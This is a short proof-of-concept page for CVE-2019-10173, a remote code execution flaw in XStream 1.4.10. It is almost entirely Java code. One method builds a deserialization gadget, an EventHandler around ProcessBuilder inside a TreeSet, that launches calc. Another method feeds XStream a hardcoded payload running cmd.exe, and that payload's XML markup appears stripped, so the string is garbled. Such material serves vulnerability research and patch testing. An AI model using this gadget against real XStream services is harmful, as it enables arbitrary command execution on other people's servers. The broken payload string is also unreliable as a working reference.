CVE-2019-10173_Xstream_1.4.10遠程代碼執行漏洞

# CVE-2019-10173 Xstream 1.4.10遠程代碼執行漏洞
==POC==

package com.bigo;

import com.thoughtworks.xstream.XStream;

import java.beans.EventHandler;
import java.io.IOException;
import java.util.Set;
import java.util.TreeSet;

/**
 * Created by cfchi on 2019/7/26.
 */
public class Main {
    public static String expGen(){
        XStream xstream = new XStream();
        Set set = new TreeSet();
        set.add("foo");
        set.add(EventHandler.create(Comparable.class, new ProcessBuilder("calc"), "start"));
        String payload = xstream.toXML(set);
        System.out.println(payload);
        return payload;
    }
    public static void main(String[] args) throws IOException {
        expGen();
        XStream xStream = new XStream();
        String payload = "\n" +
                "    foo\n" +
                "    \n" +
                "    java.lang.Comparable\n" +
                "        \n" +
                "            \n" +
                "                \n" +
                "                    cmd.exe\n" +
                "                    /c\n" +
                "                    calc\n" +
                "                \n" +
                "            \n" +
                "     start"+
                "        \n" +
                "    \n" +
                "\n";
       xStream.fromXML(payload);
    }
}